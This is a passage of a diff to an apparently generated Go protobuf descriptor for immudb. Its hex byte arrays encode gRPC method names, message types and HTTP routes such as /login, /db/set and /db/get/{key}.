0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, + 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x6c, + 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, + 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x18, 0x3a, 0x01, 0x2a, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x73, + 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x4a, 0x0a, 0x10, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, + 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, + 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, + 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, + 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, + 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, - 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, - 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, - 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, + 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, + 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, + 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4f, 0x0a, 0x0a, 0x54, 0x78, + 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, + 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, + 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x30, 0x01, 0x12, 0x5d, 0x0a, 0x05, 0x4c, + 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x19, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x3a, 0x01, 0x2a, 0x22, + 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x88, 0x02, 0x01, 0x12, 0x4f, 0x0a, 0x06, 0x4c, 0x6f, + 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, - 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4f, 0x0a, 0x0a, - 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, - 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, - 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x30, 0x01, 0x12, 0x5d, 0x0a, - 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x19, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x3a, 0x01, - 0x2a, 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x88, 0x02, 0x01, 0x12, 0x4f, 0x0a, 0x06, - 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x3a, 0x01, - 0x2a, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x88, 0x02, 0x01, 0x12, 0x4d, 0x0a, - 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, - 0x3a, 0x01, 0x2a, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x12, 0x70, 0x0a, 0x0d, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, - 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, - 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x12, 0x4d, - 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, - 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, - 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x22, 0x12, - 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, - 0x65, 0x74, 0x12, 0x5d, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x3a, - 0x01, 0x2a, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x6b, 0x65, - 0x79, 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, - 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, - 0x65, 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, - 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, - 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, - 0x63, 0x61, 0x6c, 0x6c, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, - 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x3a, 0x01, 0x2a, 0x22, + 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x88, 0x02, 0x01, 0x12, 0x4d, 0x0a, 0x03, 0x53, + 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, + 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x3a, 0x01, + 0x2a, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x12, 0x70, 0x0a, 0x0d, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1d, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x12, 0x4d, 0x0a, 0x03, + 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, 0x2f, 0x64, + 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, 0x0d, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x22, 0x12, 0x2f, 0x64, + 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, 0x74, + 0x12, 0x5d, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, + 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x3a, 0x01, 0x2a, + 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x6b, 0x65, 0x79, 0x12, + 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 